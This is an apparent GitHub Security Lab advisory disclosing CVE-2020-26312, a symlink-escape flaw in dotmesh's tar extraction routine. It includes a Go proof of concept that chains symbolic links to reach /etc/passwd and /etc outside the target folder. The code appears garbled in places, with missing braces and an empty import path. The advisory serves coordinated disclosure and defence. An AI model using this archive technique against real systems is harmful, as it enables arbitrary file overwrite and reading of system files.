skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
July 13, 2021

GHSL-2020-254: Arbitrary file read and/or write in dotmesh - CVE-2020-26312

GitHub Security Lab

Coordinated Disclosure Timeline


The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.



Tested Version

Latest commit at the time of reporting (November 27, 2020).


The routine untarFile attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent to .. (allowed, because subdir/.. falls within the archive root) and then linking subdir/parent/escapes to .. results in a symbolic link pointing to the tarball’s parent directory, contrary to the routine’s goals.

Proof of concept, using a version of untarFile tweaked to accept an array of tar headers instead of working from an actual tar archive:

package main

import (

	securejoin ""

func main() {
	var headers []tar.Header = make([]tar.Header, 3)

	headers[0].Name = "subdir/parent"
	headers[0].Linkname = ".."
	headers[0].Typeflag = tar.TypeSymlink

	headers[1].Name = "subdir/parent/passwd"
	headers[1].Linkname = "../../etc/passwd"
	headers[1].Typeflag = tar.TypeSymlink

	headers[2].Name = "subdir/parent/etc"
	headers[2].Linkname = "../../etc"
	headers[2].Typeflag = tar.TypeSymlink

	for _, hdr := range headers {
    to := "/tmp/extracthere"
    destPath, err := securejoin.SecureJoin(to, hdr.Name)
    if err != nil {
      fmt.Println("Insecure path error: %s", err)
	  untarFile(hdr, destPath)


func untarFile(hdr tar.Header, to string) error {

	switch hdr.Typeflag {
    case tar.TypeSymlink:
      destPath := filepath.Clean(hdr.Linkname)
      if strings.HasPrefix(destPath, "/") {
        fmt.Errorf("Symlinking to absolute path is insecure: %s", destPath)
      fmt.Println(to, destPath)
      return writeNewSymbolicLink(to, destPath)
      return fmt.Errorf("%s: unknown type flag: %c", hdr.Name, hdr.Typeflag)

func writeNewSymbolicLink(fpath string, target string) error {
	err := os.MkdirAll(filepath.Dir(fpath), 0755)
	if err != nil {
		return fmt.Errorf("%s: making directory for file: %v", fpath, err)

	_, err = os.Lstat(fpath)
	if err == nil {
		err = os.Remove(fpath)
		if err != nil {
			return fmt.Errorf("%s: failed to unlink: %+v", fpath, err)

	err = os.Symlink(target, fpath)
	if err != nil {
		return fmt.Errorf("%s: making symbolic link for: %v", fpath, err)
	return nil


This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.



This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).


You can contact the GHSL team at, please include a reference to GHSL-2020-254 in any communication regarding this issue.